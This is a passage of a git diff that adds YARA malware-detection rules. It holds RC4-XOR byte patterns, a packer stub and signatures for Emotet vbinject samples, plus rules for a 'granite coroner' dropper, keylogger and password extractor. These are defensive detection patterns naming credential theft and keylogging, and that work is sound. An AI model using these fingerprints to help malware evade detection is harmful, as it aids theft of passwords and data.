+        $rc4_ksa_xor_be = { 35??79??8d??6c??49??cb??aa??35??fb??b2??b1??08??ba??bc??bd??b8??bd??7d??35??67??27??49??45??34??b8??f9??36??fb??41??35??64??35??2a??23??46??45??41??41??37??a8??3d??78??ba??b1??08??eb??41??33??3a??23??46??45??41??41??85??47??37??ae??c2??7a??3d??db??aa??be??3d??c3??ae??be??c8??d5 }
+        $rc4_ksa_xor_bf = { 34??78??8c??6d??48??ca??ab??34??fa??b3??b0??09??bb??bd??bc??b9??bc??7c??34??66??26??48??44??35??b9??f8??37??fa??40??34??65??34??2b??22??47??44??40??40??36??a9??3c??79??bb??b0??09??ea??40??32??3b??22??47??44??40??40??84??46??36??af??c3??7b??3c??da??ab??bf??3c??c2??af??bf??c9??d4 }
+        $rc4_ksa_xor_c0 = { 4b??07??f3??12??37??b5??d4??4b??85??cc??cf??76??c4??c2??c3??c6??c3??03??4b??19??59??37??3b??4a??c6??87??48??85??3f??4b??1a??4b??54??5d??38??3b??3f??3f??49??d6??43??06??c4??cf??76??95??3f??4d??44??5d??38??3b??3f??3f??fb??39??49??d0??bc??04??43??a5??d4??c0??43??bd??d0??c0??b6??ab }
+        $rc4_ksa_xor_c1 = { 4a??06??f2??13??36??b4??d5??4a??84??cd??ce??77??c5??c3??c2??c7??c2??02??4a??18??58??36??3a??4b??c7??86??49??84??3e??4a??1b??4a??55??5c??39??3a??3e??3e??48??d7??42??07??c5??ce??77??94??3e??4c??45??5c??39??3a??3e??3e??fa??38??48??d1??bd??05??42??a4??d5??c1??42??bc??d1??c1??b7??aa }
+        $rc4_ksa_xor_c2 = { 49??05??f1??10??35??b7??d6??49??87??ce??cd??74??c6??c0??c1??c4??c1??01??49??1b??5b??35??39??48??c4??85??4a??87??3d??49??18??49??56??5f??3a??39??3d??3d??4b??d4??41??04??c6??cd??74??97??3d??4f??46??5f??3a??39??3d??3d??f9??3b??4b??d2??be??06??41??a7??d6??c2??41??bf??d2??c2??b4??a9 }
+        $rc4_ksa_xor_c3 = { 48??04??f0??11??34??b6??d7??48??86??cf??cc??75??c7??c1??c0??c5??c0??00??48??1a??5a??34??38??49??c5??84??4b??86??3c??48??19??48??57??5e??3b??38??3c??3c??4a??d5??40??05??c7??cc??75??96??3c??4e??47??5e??3b??38??3c??3c??f8??3a??4a??d3??bf??07??40??a6??d7??c3??40??be??d3??c3??b5??a8 }
+        $rc4_ksa_xor_c4 = { 4f??03??f7??16??33??b1??d0??4f??81??c8??cb??72??c0??c6??c7??c2??c7??07??4f??1d??5d??33??3f??4e??c2??83??4c??81??3b??4f??1e??4f??50??59??3c??3f??3b??3b??4d??d2??47??02??c0??cb??72??91??3b??49??40??59??3c??3f??3b??3b??ff??3d??4d??d4??b8??00??47??a1??d0??c4??47??b9??d4??c4??b2??af }
+        $rc4_ksa_xor_c5 = { 4e??02??f6??17??32??b0??d1??4e??80??c9??ca??73??c1??c7??c6??c3??c6??06??4e??1c??5c??32??3e??4f??c3??82??4d??80??3a??4e??1f??4e??51??58??3d??3e??3a??3a??4c??d3??46??03??c1??ca??73??90??3a??48??41??58??3d??3e??3a??3a??fe??3c??4c??d5??b9??01??46??a0??d1??c5??46??b8??d5??c5??b3??ae }
+        $rc4_ksa_xor_c6 = { 4d??01??f5??14??31??b3??d2??4d??83??ca??c9??70??c2??c4??c5??c0??c5??05??4d??1f??5f??31??3d??4c??c0??81??4e??83??39??4d??1c??4d??52??5b??3e??3d??39??39??4f??d0??45??00??c2??c9??70??93??39??4b??42??5b??3e??3d??39??39??fd??3f??4f??d6??ba??02??45??a3??d2??c6??45??bb??d6??c6??b0??ad }
+        $rc4_ksa_xor_c7 = { 4c??00??f4??15??30??b2??d3??4c??82??cb??c8??71??c3??c5??c4??c1??c4??04??4c??1e??5e??30??3c??4d??c1??80??4f??82??38??4c??1d??4c??53??5a??3f??3c??38??38??4e??d1??44??01??c3??c8??71??92??38??4a??43??5a??3f??3c??38??38??fc??3e??4e??d7??bb??03??44??a2??d3??c7??44??ba??d7??c7??b1??ac }
+        $rc4_ksa_xor_c8 = { 43??0f??fb??1a??3f??bd??dc??43??8d??c4??c7??7e??cc??ca??cb??ce??cb??0b??43??11??51??3f??33??42??ce??8f??40??8d??37??43??12??43??5c??55??30??33??37??37??41??de??4b??0e??cc??c7??7e??9d??37??45??4c??55??30??33??37??37??f3??31??41??d8??b4??0c??4b??ad??dc??c8??4b??b5??d8??c8??be??a3 }
+        $rc4_ksa_xor_c9 = { 42??0e??fa??1b??3e??bc??dd??42??8c??c5??c6??7f??cd??cb??ca??cf??ca??0a??42??10??50??3e??32??43??cf??8e??41??8c??36??42??13??42??5d??54??31??32??36??36??40??df??4a??0f??cd??c6??7f??9c??36??44??4d??54??31??32??36??36??f2??30??40??d9??b5??0d??4a??ac??dd??c9??4a??b4??d9??c9??bf??a2 }
+        $rc4_ksa_xor_ca = { 41??0d??f9??18??3d??bf??de??41??8f??c6??c5??7c??ce??c8??c9??cc??c9??09??41??13??53??3d??31??40??cc??8d??42??8f??35??41??10??41??5e??57??32??31??35??35??43??dc??49??0c??ce??c5??7c??9f??35??47??4e??57??32??31??35??35??f1??33??43??da??b6??0e??49??af??de??ca??49??b7??da??ca??bc??a1 }
+        $rc4_ksa_xor_cb = { 40??0c??f8??19??3c??be??df??40??8e??c7??c4??7d??cf??c9??c8??cd??c8??08??40??12??52??3c??30??41??cd??8c??43??8e??34??40??11??40??5f??56??33??30??34??34??42??dd??48??0d??cf??c4??7d??9e??34??46??4f??56??33??30??34??34??f0??32??42??db??b7??0f??48??ae??df??cb??48??b6??db??cb??bd??a0 }
+        $rc4_ksa_xor_cc = { 47??0b??ff??1e??3b??b9??d8??47??89??c0??c3??7a??c8??ce??cf??ca??cf??0f??47??15??55??3b??37??46??ca??8b??44??89??33??47??16??47??58??51??34??37??33??33??45??da??4f??0a??c8??c3??7a??99??33??41??48??51??34??37??33??33??f7??35??45??dc??b0??08??4f??a9??d8??cc??4f??b1??dc??cc??ba??a7 }
+        $rc4_ksa_xor_cd = { 46??0a??fe??1f??3a??b8??d9??46??88??c1??c2??7b??c9??cf??ce??cb??ce??0e??46??14??54??3a??36??47??cb??8a??45??88??32??46??17??46??59??50??35??36??32??32??44??db??4e??0b??c9??c2??7b??98??32??40??49??50??35??36??32??32??f6??34??44??dd??b1??09??4e??a8??d9??cd??4e??b0??dd??cd??bb??a6 }
+        $rc4_ksa_xor_ce = { 45??09??fd??1c??39??bb??da??45??8b??c2??c1??78??ca??cc??cd??c8??cd??0d??45??17??57??39??35??44??c8??89??46??8b??31??45??14??45??5a??53??36??35??31??31??47??d8??4d??08??ca??c1??78??9b??31??43??4a??53??36??35??31??31??f5??37??47??de??b2??0a??4d??ab??da??ce??4d??b3??de??ce??b8??a5 }
+        $rc4_ksa_xor_cf = { 44??08??fc??1d??38??ba??db??44??8a??c3??c0??79??cb??cd??cc??c9??cc??0c??44??16??56??38??34??45??c9??88??47??8a??30??44??15??44??5b??52??37??34??30??30??46??d9??4c??09??cb??c0??79??9a??30??42??4b??52??37??34??30??30??f4??36??46??df??b3??0b??4c??aa??db??cf??4c??b2??df??cf??b9??a4 }
+        $rc4_ksa_xor_d0 = { 5b??17??e3??02??27??a5??c4??5b??95??dc??df??66??d4??d2??d3??d6??d3??13??5b??09??49??27??2b??5a??d6??97??58??95??2f??5b??0a??5b??44??4d??28??2b??2f??2f??59??c6??53??16??d4??df??66??85??2f??5d??54??4d??28??2b??2f??2f??eb??29??59??c0??ac??14??53??b5??c4??d0??53??ad??c0??d0??a6??bb }
+        $rc4_ksa_xor_d1 = { 5a??16??e2??03??26??a4??c5??5a??94??dd??de??67??d5??d3??d2??d7??d2??12??5a??08??48??26??2a??5b??d7??96??59??94??2e??5a??0b??5a??45??4c??29??2a??2e??2e??58??c7??52??17??d5??de??67??84??2e??5c??55??4c??29??2a??2e??2e??ea??28??58??c1??ad??15??52??b4??c5??d1??52??ac??c1??d1??a7??ba }
+        $rc4_ksa_xor_d2 = { 59??15??e1??00??25??a7??c6??59??97??de??dd??64??d6??d0??d1??d4??d1??11??59??0b??4b??25??29??58??d4??95??5a??97??2d??59??08??59??46??4f??2a??29??2d??2d??5b??c4??51??14??d6??dd??64??87??2d??5f??56??4f??2a??29??2d??2d??e9??2b??5b??c2??ae??16??51??b7??c6??d2??51??af??c2??d2??a4??b9 }
+        $rc4_ksa_xor_d3 = { 58??14??e0??01??24??a6??c7??58??96??df??dc??65??d7??d1??d0??d5??d0??10??58??0a??4a??24??28??59??d5??94??5b??96??2c??58??09??58??47??4e??2b??28??2c??2c??5a??c5??50??15??d7??dc??65??86??2c??5e??57??4e??2b??28??2c??2c??e8??2a??5a??c3??af??17??50??b6??c7??d3??50??ae??c3??d3??a5??b8 }
+        $rc4_ksa_xor_d4 = { 5f??13??e7??06??23??a1??c0??5f??91??d8??db??62??d0??d6??d7??d2??d7??17??5f??0d??4d??23??2f??5e??d2??93??5c??91??2b??5f??0e??5f??40??49??2c??2f??2b??2b??5d??c2??57??12??d0??db??62??81??2b??59??50??49??2c??2f??2b??2b??ef??2d??5d??c4??a8??10??57??b1??c0??d4??57??a9??c4??d4??a2??bf }
+        $rc4_ksa_xor_d5 = { 5e??12??e6??07??22??a0??c1??5e??90??d9??da??63??d1??d7??d6??d3??d6??16??5e??0c??4c??22??2e??5f??d3??92??5d??90??2a??5e??0f??5e??41??48??2d??2e??2a??2a??5c??c3??56??13??d1??da??63??80??2a??58??51??48??2d??2e??2a??2a??ee??2c??5c??c5??a9??11??56??b0??c1??d5??56??a8??c5??d5??a3??be }
+        $rc4_ksa_xor_d6 = { 5d??11??e5??04??21??a3??c2??5d??93??da??d9??60??d2??d4??d5??d0??d5??15??5d??0f??4f??21??2d??5c??d0??91??5e??93??29??5d??0c??5d??42??4b??2e??2d??29??29??5f??c0??55??10??d2??d9??60??83??29??5b??52??4b??2e??2d??29??29??ed??2f??5f??c6??aa??12??55??b3??c2??d6??55??ab??c6??d6??a0??bd }
+        $rc4_ksa_xor_d7 = { 5c??10??e4??05??20??a2??c3??5c??92??db??d8??61??d3??d5??d4??d1??d4??14??5c??0e??4e??20??2c??5d??d1??90??5f??92??28??5c??0d??5c??43??4a??2f??2c??28??28??5e??c1??54??11??d3??d8??61??82??28??5a??53??4a??2f??2c??28??28??ec??2e??5e??c7??ab??13??54??b2??c3??d7??54??aa??c7??d7??a1??bc }
+        $rc4_ksa_xor_d8 = { 53??1f??eb??0a??2f??ad??cc??53??9d??d4??d7??6e??dc??da??db??de??db??1b??53??01??41??2f??23??52??de??9f??50??9d??27??53??02??53??4c??45??20??23??27??27??51??ce??5b??1e??dc??d7??6e??8d??27??55??5c??45??20??23??27??27??e3??21??51??c8??a4??1c??5b??bd??cc??d8??5b??a5??c8??d8??ae??b3 }
+        $rc4_ksa_xor_d9 = { 52??1e??ea??0b??2e??ac??cd??52??9c??d5??d6??6f??dd??db??da??df??da??1a??52??00??40??2e??22??53??df??9e??51??9c??26??52??03??52??4d??44??21??22??26??26??50??cf??5a??1f??dd??d6??6f??8c??26??54??5d??44??21??22??26??26??e2??20??50??c9??a5??1d??5a??bc??cd??d9??5a??a4??c9??d9??af??b2 }
+        $rc4_ksa_xor_da = { 51??1d??e9??08??2d??af??ce??51??9f??d6??d5??6c??de??d8??d9??dc??d9??19??51??03??43??2d??21??50??dc??9d??52??9f??25??51??00??51??4e??47??22??21??25??25??53??cc??59??1c??de??d5??6c??8f??25??57??5e??47??22??21??25??25??e1??23??53??ca??a6??1e??59??bf??ce??da??59??a7??ca??da??ac??b1 }
+        $rc4_ksa_xor_db = { 50??1c??e8??09??2c??ae??cf??50??9e??d7??d4??6d??df??d9??d8??dd??d8??18??50??02??42??2c??20??51??dd??9c??53??9e??24??50??01??50??4f??46??23??20??24??24??52??cd??58??1d??df??d4??6d??8e??24??56??5f??46??23??20??24??24??e0??22??52??cb??a7??1f??58??be??cf??db??58??a6??cb??db??ad??b0 }
+        $rc4_ksa_xor_dc = { 57??1b??ef??0e??2b??a9??c8??57??99??d0??d3??6a??d8??de??df??da??df??1f??57??05??45??2b??27??56??da??9b??54??99??23??57??06??57??48??41??24??27??23??23??55??ca??5f??1a??d8??d3??6a??89??23??51??58??41??24??27??23??23??e7??25??55??cc??a0??18??5f??b9??c8??dc??5f??a1??cc??dc??aa??b7 }
+        $rc4_ksa_xor_dd = { 56??1a??ee??0f??2a??a8??c9??56??98??d1??d2??6b??d9??df??de??db??de??1e??56??04??44??2a??26??57??db??9a??55??98??22??56??07??56??49??40??25??26??22??22??54??cb??5e??1b??d9??d2??6b??88??22??50??59??40??25??26??22??22??e6??24??54??cd??a1??19??5e??b8??c9??dd??5e??a0??cd??dd??ab??b6 }
+        $rc4_ksa_xor_de = { 55??19??ed??0c??29??ab??ca??55??9b??d2??d1??68??da??dc??dd??d8??dd??1d??55??07??47??29??25??54??d8??99??56??9b??21??55??04??55??4a??43??26??25??21??21??57??c8??5d??18??da??d1??68??8b??21??53??5a??43??26??25??21??21??e5??27??57??ce??a2??1a??5d??bb??ca??de??5d??a3??ce??de??a8??b5 }
+        $rc4_ksa_xor_df = { 54??18??ec??0d??28??aa??cb??54??9a??d3??d0??69??db??dd??dc??d9??dc??1c??54??06??46??28??24??55??d9??98??57??9a??20??54??05??54??4b??42??27??24??20??20??56??c9??5c??19??db??d0??69??8a??20??52??5b??42??27??24??20??20??e4??26??56??cf??a3??1b??5c??ba??cb??df??5c??a2??cf??df??a9??b4 }
+        $rc4_ksa_xor_e0 = { 6b??27??d3??32??17??95??f4??6b??a5??ec??ef??56??e4??e2??e3??e6??e3??23??6b??39??79??17??1b??6a??e6??a7??68??a5??1f??6b??3a??6b??74??7d??18??1b??1f??1f??69??f6??63??26??e4??ef??56??b5??1f??6d??64??7d??18??1b??1f??1f??db??19??69??f0??9c??24??63??85??f4??e0??63??9d??f0??e0??96??8b }
+        $rc4_ksa_xor_e1 = { 6a??26??d2??33??16??94??f5??6a??a4??ed??ee??57??e5??e3??e2??e7??e2??22??6a??38??78??16??1a??6b??e7??a6??69??a4??1e??6a??3b??6a??75??7c??19??1a??1e??1e??68??f7??62??27??e5??ee??57??b4??1e??6c??65??7c??19??1a??1e??1e??da??18??68??f1??9d??25??62??84??f5??e1??62??9c??f1??e1??97??8a }
+        $rc4_ksa_xor_e2 = { 69??25??d1??30??15??97??f6??69??a7??ee??ed??54??e6??e0??e1??e4??e1??21??69??3b??7b??15??19??68??e4??a5??6a??a7??1d??69??38??69??76??7f??1a??19??1d??1d??6b??f4??61??24??e6??ed??54??b7??1d??6f??66??7f??1a??19??1d??1d??d9??1b??6b??f2??9e??26??61??87??f6??e2??61??9f??f2??e2??94??89 }
+        $rc4_ksa_xor_e3 = { 68??24??d0??31??14??96??f7??68??a6??ef??ec??55??e7??e1??e0??e5??e0??20??68??3a??7a??14??18??69??e5??a4??6b??a6??1c??68??39??68??77??7e??1b??18??1c??1c??6a??f5??60??25??e7??ec??55??b6??1c??6e??67??7e??1b??18??1c??1c??d8??1a??6a??f3??9f??27??60??86??f7??e3??60??9e??f3??e3??95??88 }
+        $rc4_ksa_xor_e4 = { 6f??23??d7??36??13??91??f0??6f??a1??e8??eb??52??e0??e6??e7??e2??e7??27??6f??3d??7d??13??1f??6e??e2??a3??6c??a1??1b??6f??3e??6f??70??79??1c??1f??1b??1b??6d??f2??67??22??e0??eb??52??b1??1b??69??60??79??1c??1f??1b??1b??df??1d??6d??f4??98??20??67??81??f0??e4??67??99??f4??e4??92??8f }
+        $rc4_ksa_xor_e5 = { 6e??22??d6??37??12??90??f1??6e??a0??e9??ea??53??e1??e7??e6??e3??e6??26??6e??3c??7c??12??1e??6f??e3??a2??6d??a0??1a??6e??3f??6e??71??78??1d??1e??1a??1a??6c??f3??66??23??e1??ea??53??b0??1a??68??61??78??1d??1e??1a??1a??de??1c??6c??f5??99??21??66??80??f1??e5??66??98??f5??e5??93??8e }
+        $rc4_ksa_xor_e6 = { 6d??21??d5??34??11??93??f2??6d??a3??ea??e9??50??e2??e4??e5??e0??e5??25??6d??3f??7f??11??1d??6c??e0??a1??6e??a3??19??6d??3c??6d??72??7b??1e??1d??19??19??6f??f0??65??20??e2??e9??50??b3??19??6b??62??7b??1e??1d??19??19??dd??1f??6f??f6??9a??22??65??83??f2??e6??65??9b??f6??e6??90??8d }
+        $rc4_ksa_xor_e7 = { 6c??20??d4??35??10??92??f3??6c??a2??eb??e8??51??e3??e5??e4??e1??e4??24??6c??3e??7e??10??1c??6d??e1??a0??6f??a2??18??6c??3d??6c??73??7a??1f??1c??18??18??6e??f1??64??21??e3??e8??51??b2??18??6a??63??7a??1f??1c??18??18??dc??1e??6e??f7??9b??23??64??82??f3??e7??64??9a??f7??e7??91??8c }
+        $rc4_ksa_xor_e8 = { 63??2f??db??3a??1f??9d??fc??63??ad??e4??e7??5e??ec??ea??eb??ee??eb??2b??63??31??71??1f??13??62??ee??af??60??ad??17??63??32??63??7c??75??10??13??17??17??61??fe??6b??2e??ec??e7??5e??bd??17??65??6c??75??10??13??17??17??d3??11??61??f8??94??2c??6b??8d??fc??e8??6b??95??f8??e8??9e??83 }
+        $rc4_ksa_xor_e9 = { 62??2e??da??3b??1e??9c??fd??62??ac??e5??e6??5f??ed??eb??ea??ef??ea??2a??62??30??70??1e??12??63??ef??ae??61??ac??16??62??33??62??7d??74??11??12??16??16??60??ff??6a??2f??ed??e6??5f??bc??16??64??6d??74??11??12??16??16??d2??10??60??f9??95??2d??6a??8c??fd??e9??6a??94??f9??e9??9f??82 }
+        $rc4_ksa_xor_ea = { 61??2d??d9??38??1d??9f??fe??61??af??e6??e5??5c??ee??e8??e9??ec??e9??29??61??33??73??1d??11??60??ec??ad??62??af??15??61??30??61??7e??77??12??11??15??15??63??fc??69??2c??ee??e5??5c??bf??15??67??6e??77??12??11??15??15??d1??13??63??fa??96??2e??69??8f??fe??ea??69??97??fa??ea??9c??81 }
+        $rc4_ksa_xor_eb = { 60??2c??d8??39??1c??9e??ff??60??ae??e7??e4??5d??ef??e9??e8??ed??e8??28??60??32??72??1c??10??61??ed??ac??63??ae??14??60??31??60??7f??76??13??10??14??14??62??fd??68??2d??ef??e4??5d??be??14??66??6f??76??13??10??14??14??d0??12??62??fb??97??2f??68??8e??ff??eb??68??96??fb??eb??9d??80 }
+        $rc4_ksa_xor_ec = { 67??2b??df??3e??1b??99??f8??67??a9??e0??e3??5a??e8??ee??ef??ea??ef??2f??67??35??75??1b??17??66??ea??ab??64??a9??13??67??36??67??78??71??14??17??13??13??65??fa??6f??2a??e8??e3??5a??b9??13??61??68??71??14??17??13??13??d7??15??65??fc??90??28??6f??89??f8??ec??6f??91??fc??ec??9a??87 }
+        $rc4_ksa_xor_ed = { 66??2a??de??3f??1a??98??f9??66??a8??e1??e2??5b??e9??ef??ee??eb??ee??2e??66??34??74??1a??16??67??eb??aa??65??a8??12??66??37??66??79??70??15??16??12??12??64??fb??6e??2b??e9??e2??5b??b8??12??60??69??70??15??16??12??12??d6??14??64??fd??91??29??6e??88??f9??ed??6e??90??fd??ed??9b??86 }
+        $rc4_ksa_xor_ee = { 65??29??dd??3c??19??9b??fa??65??ab??e2??e1??58??ea??ec??ed??e8??ed??2d??65??37??77??19??15??64??e8??a9??66??ab??11??65??34??65??7a??73??16??15??11??11??67??f8??6d??28??ea??e1??58??bb??11??63??6a??73??16??15??11??11??d5??17??67??fe??92??2a??6d??8b??fa??ee??6d??93??fe??ee??98??85 }
+        $rc4_ksa_xor_ef = { 64??28??dc??3d??18??9a??fb??64??aa??e3??e0??59??eb??ed??ec??e9??ec??2c??64??36??76??18??14??65??e9??a8??67??aa??10??64??35??64??7b??72??17??14??10??10??66??f9??6c??29??eb??e0??59??ba??10??62??6b??72??17??14??10??10??d4??16??66??ff??93??2b??6c??8a??fb??ef??6c??92??ff??ef??99??84 }
+        $rc4_ksa_xor_f0 = { 7b??37??c3??22??07??85??e4??7b??b5??fc??ff??46??f4??f2??f3??f6??f3??33??7b??29??69??07??0b??7a??f6??b7??78??b5??0f??7b??2a??7b??64??6d??08??0b??0f??0f??79??e6??73??36??f4??ff??46??a5??0f??7d??74??6d??08??0b??0f??0f??cb??09??79??e0??8c??34??73??95??e4??f0??73??8d??e0??f0??86??9b }
+        $rc4_ksa_xor_f1 = { 7a??36??c2??23??06??84??e5??7a??b4??fd??fe??47??f5??f3??f2??f7??f2??32??7a??28??68??06??0a??7b??f7??b6??79??b4??0e??7a??2b??7a??65??6c??09??0a??0e??0e??78??e7??72??37??f5??fe??47??a4??0e??7c??75??6c??09??0a??0e??0e??ca??08??78??e1??8d??35??72??94??e5??f1??72??8c??e1??f1??87??9a }
+        $rc4_ksa_xor_f2 = { 79??35??c1??20??05??87??e6??79??b7??fe??fd??44??f6??f0??f1??f4??f1??31??79??2b??6b??05??09??78??f4??b5??7a??b7??0d??79??28??79??66??6f??0a??09??0d??0d??7b??e4??71??34??f6??fd??44??a7??0d??7f??76??6f??0a??09??0d??0d??c9??0b??7b??e2??8e??36??71??97??e6??f2??71??8f??e2??f2??84??99 }
+        $rc4_ksa_xor_f3 = { 78??34??c0??21??04??86??e7??78??b6??ff??fc??45??f7??f1??f0??f5??f0??30??78??2a??6a??04??08??79??f5??b4??7b??b6??0c??78??29??78??67??6e??0b??08??0c??0c??7a??e5??70??35??f7??fc??45??a6??0c??7e??77??6e??0b??08??0c??0c??c8??0a??7a??e3??8f??37??70??96??e7??f3??70??8e??e3??f3??85??98 }
+        $rc4_ksa_xor_f4 = { 7f??33??c7??26??03??81??e0??7f??b1??f8??fb??42??f0??f6??f7??f2??f7??37??7f??2d??6d??03??0f??7e??f2??b3??7c??b1??0b??7f??2e??7f??60??69??0c??0f??0b??0b??7d??e2??77??32??f0??fb??42??a1??0b??79??70??69??0c??0f??0b??0b??cf??0d??7d??e4??88??30??77??91??e0??f4??77??89??e4??f4??82??9f }
+        $rc4_ksa_xor_f5 = { 7e??32??c6??27??02??80??e1??7e??b0??f9??fa??43??f1??f7??f6??f3??f6??36??7e??2c??6c??02??0e??7f??f3??b2??7d??b0??0a??7e??2f??7e??61??68??0d??0e??0a??0a??7c??e3??76??33??f1??fa??43??a0??0a??78??71??68??0d??0e??0a??0a??ce??0c??7c??e5??89??31??76??90??e1??f5??76??88??e5??f5??83??9e }
+        $rc4_ksa_xor_f6 = { 7d??31??c5??24??01??83??e2??7d??b3??fa??f9??40??f2??f4??f5??f0??f5??35??7d??2f??6f??01??0d??7c??f0??b1??7e??b3??09??7d??2c??7d??62??6b??0e??0d??09??09??7f??e0??75??30??f2??f9??40??a3??09??7b??72??6b??0e??0d??09??09??cd??0f??7f??e6??8a??32??75??93??e2??f6??75??8b??e6??f6??80??9d }
+        $rc4_ksa_xor_f7 = { 7c??30??c4??25??00??82??e3??7c??b2??fb??f8??41??f3??f5??f4??f1??f4??34??7c??2e??6e??00??0c??7d??f1??b0??7f??b2??08??7c??2d??7c??63??6a??0f??0c??08??08??7e??e1??74??31??f3??f8??41??a2??08??7a??73??6a??0f??0c??08??08??cc??0e??7e??e7??8b??33??74??92??e3??f7??74??8a??e7??f7??81??9c }
+        $rc4_ksa_xor_f8 = { 73??3f??cb??2a??0f??8d??ec??73??bd??f4??f7??4e??fc??fa??fb??fe??fb??3b??73??21??61??0f??03??72??fe??bf??70??bd??07??73??22??73??6c??65??00??03??07??07??71??ee??7b??3e??fc??f7??4e??ad??07??75??7c??65??00??03??07??07??c3??01??71??e8??84??3c??7b??9d??ec??f8??7b??85??e8??f8??8e??93 }
+        $rc4_ksa_xor_f9 = { 72??3e??ca??2b??0e??8c??ed??72??bc??f5??f6??4f??fd??fb??fa??ff??fa??3a??72??20??60??0e??02??73??ff??be??71??bc??06??72??23??72??6d??64??01??02??06??06??70??ef??7a??3f??fd??f6??4f??ac??06??74??7d??64??01??02??06??06??c2??00??70??e9??85??3d??7a??9c??ed??f9??7a??84??e9??f9??8f??92 }
+        $rc4_ksa_xor_fa = { 71??3d??c9??28??0d??8f??ee??71??bf??f6??f5??4c??fe??f8??f9??fc??f9??39??71??23??63??0d??01??70??fc??bd??72??bf??05??71??20??71??6e??67??02??01??05??05??73??ec??79??3c??fe??f5??4c??af??05??77??7e??67??02??01??05??05??c1??03??73??ea??86??3e??79??9f??ee??fa??79??87??ea??fa??8c??91 }
+        $rc4_ksa_xor_fb = { 70??3c??c8??29??0c??8e??ef??70??be??f7??f4??4d??ff??f9??f8??fd??f8??38??70??22??62??0c??00??71??fd??bc??73??be??04??70??21??70??6f??66??03??00??04??04??72??ed??78??3d??ff??f4??4d??ae??04??76??7f??66??03??00??04??04??c0??02??72??eb??87??3f??78??9e??ef??fb??78??86??eb??fb??8d??90 }
+        $rc4_ksa_xor_fc = { 77??3b??cf??2e??0b??89??e8??77??b9??f0??f3??4a??f8??fe??ff??fa??ff??3f??77??25??65??0b??07??76??fa??bb??74??b9??03??77??26??77??68??61??04??07??03??03??75??ea??7f??3a??f8??f3??4a??a9??03??71??78??61??04??07??03??03??c7??05??75??ec??80??38??7f??99??e8??fc??7f??81??ec??fc??8a??97 }
+        $rc4_ksa_xor_fd = { 76??3a??ce??2f??0a??88??e9??76??b8??f1??f2??4b??f9??ff??fe??fb??fe??3e??76??24??64??0a??06??77??fb??ba??75??b8??02??76??27??76??69??60??05??06??02??02??74??eb??7e??3b??f9??f2??4b??a8??02??70??79??60??05??06??02??02??c6??04??74??ed??81??39??7e??98??e9??fd??7e??80??ed??fd??8b??96 }
+        $rc4_ksa_xor_fe = { 75??39??cd??2c??09??8b??ea??75??bb??f2??f1??48??fa??fc??fd??f8??fd??3d??75??27??67??09??05??74??f8??b9??76??bb??01??75??24??75??6a??63??06??05??01??01??77??e8??7d??38??fa??f1??48??ab??01??73??7a??63??06??05??01??01??c5??07??77??ee??82??3a??7d??9b??ea??fe??7d??83??ee??fe??88??95 }
+        $rc4_ksa_xor_ff = { 74??38??cc??2d??08??8a??eb??74??ba??f3??f0??49??fb??fd??fc??f9??fc??3c??74??26??66??08??04??75??f9??b8??77??ba??00??74??25??74??6b??62??07??04??00??00??76??e9??7c??39??fb??f0??49??aa??00??72??7b??62??07??04??00??00??c4??06??76??ef??83??3b??7c??9a??eb??ff??7c??82??ef??ff??89??94 }
+
+        // variant G packer stub, 3AD2F2E593B023943174B336EBA5084A @ 0x401214
+        $packer = { 6BC0??6A??9959F7F903F08D7E0A8A073246??434788841D1BF8FFFF4781FB????????7CE98D851CF8FFFFFFD0EBDF }
+        
+        // variant G signature searching loop, 3AD2F2E593B023943174B336EBA5084A @ 0x4011dd
+        $signature_search = { 0FB60C300FB65430088D79043BD775240FB65430068D79033BD775180FB65430028D79013BD7750C0FB654300483C1023BD1740340EBC9 }
+
+    condition:
+        IsPeFile and (any of them)
+}
+
+rule emotet_vbinject {
+    strings:
+        // data from the overlay
+        $overlay = { BC4F626B1602B4C72F272F597BB633B1 }
+        $pdb = { 433A5C55736572735C4D5C4465736B746F705C737475627372635C42475C52656C656173655C42472E70646200 }
+
+        // various signatures used in vbinject samples to denote beginning/end of payload executable
+        $signature1 = "Ln15vg7sJn47WWEu8" ascii wide
+        $signature2 = "6LojxNhv15weO85g1Az48poUhg" ascii wide
+        $signature3 = "Ln15vg7sJn47WWEu8"
+        $signature4 = "6LojxNhv15weO85g1Az48poUhg"
+        $signature5 = "2659443231247816597746"
+
+        // compressed pe payload header located in overlay section
+        $compressed_pe_heade1r = "is)xrnnram canoot j"
+        $compressed_pe_header2 = "rue%hn DOS fodd"
+
+        // function prologue for a payload extraction function
+        // 50512C47F028FD3BB80ACDEE84F2729B @ 0x4054E7
+        $epilogue = { 8B45088B55DC8BC85F5E5B89118B55E08951048B55E48951088B55E889510C8B4DEC64890D000000008BE55DC21000 }
+    condition:
+        IsPeFile and (any of them)
+}
+
diff --git a/yara-mikesxrs/GoDaddy/granite_coroner.yara b/yara-mikesxrs/GoDaddy/granite_coroner.yara
new file mode 100644
index 0000000..8e5e9ee
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/granite_coroner.yara
@@ -0,0 +1,64 @@
+
+rule granite_coroner_dropper {
+    meta:
+        description = "Payload dropper for password theft or keylogging"
+
+    strings:
+        $mz = "MZ"
+
+        // 5222D4EE744464B154505E68579EB896 - Resource names
+        $granitea = "GRANITE" nocase
+        $granitew = "GRANITE" nocase wide
+        $jocastaeluviuma = "JOCASTAELUVIUM" nocase
+        $jocastaeluviumw = "JOCASTAELUVIUM" nocase wide
+
+        // FA620D788F4E9B22B603276EB020AA8C - Resource names
+        $coronera = "CORONER" nocase
+        $coronerw = "CORONER" nocase wide
+        $bolshiecharitya = "BOLSHIECHARITY" nocase
+        $bolshiecharityw = "BOLSHIECHARITY" nocase wide
+
+        // Both
+        $cypher_cryptor = "Cypher Cryptor" wide
+
+    condition:
+        $mz at 0 and 
+            ($granitea and $jocastaeluviuma) or
+            ($granitew and $jocastaeluviumw) or
+            ($coronera and $bolshiecharitya) or
+            ($coronerw and $bolshiecharityw) or
+        $cypher_cryptor
+}
+
+rule granite_jocasteluvium {
+    strings:
+        $mz = "MZ"
+
+        // 8B805E07CCA42BE8FC98C8BCF8D0C7C2
+        $string1 = "JumpID(\"\",\"%s\")"
+        $string2 = " - Clipboard - "
+        $string3 = "Content-Type: application/x-www-form-urlencoded"
+        $string4 = "text="
+        $string5 = "[Num Lock]"
+        $string6 = "[PrtScr]"
+        $string7 = "msgss.exe"
+        $string8 = "User Interface Manager" wide
+
+    condition:
+        $mz at 0 and 7 of ($string*)
+}
+
+
+rule coroner_bolshiecharity {
+    meta:
+        description = "Password extraction utility"
+
+    strings:
+        $mz = "MZ"
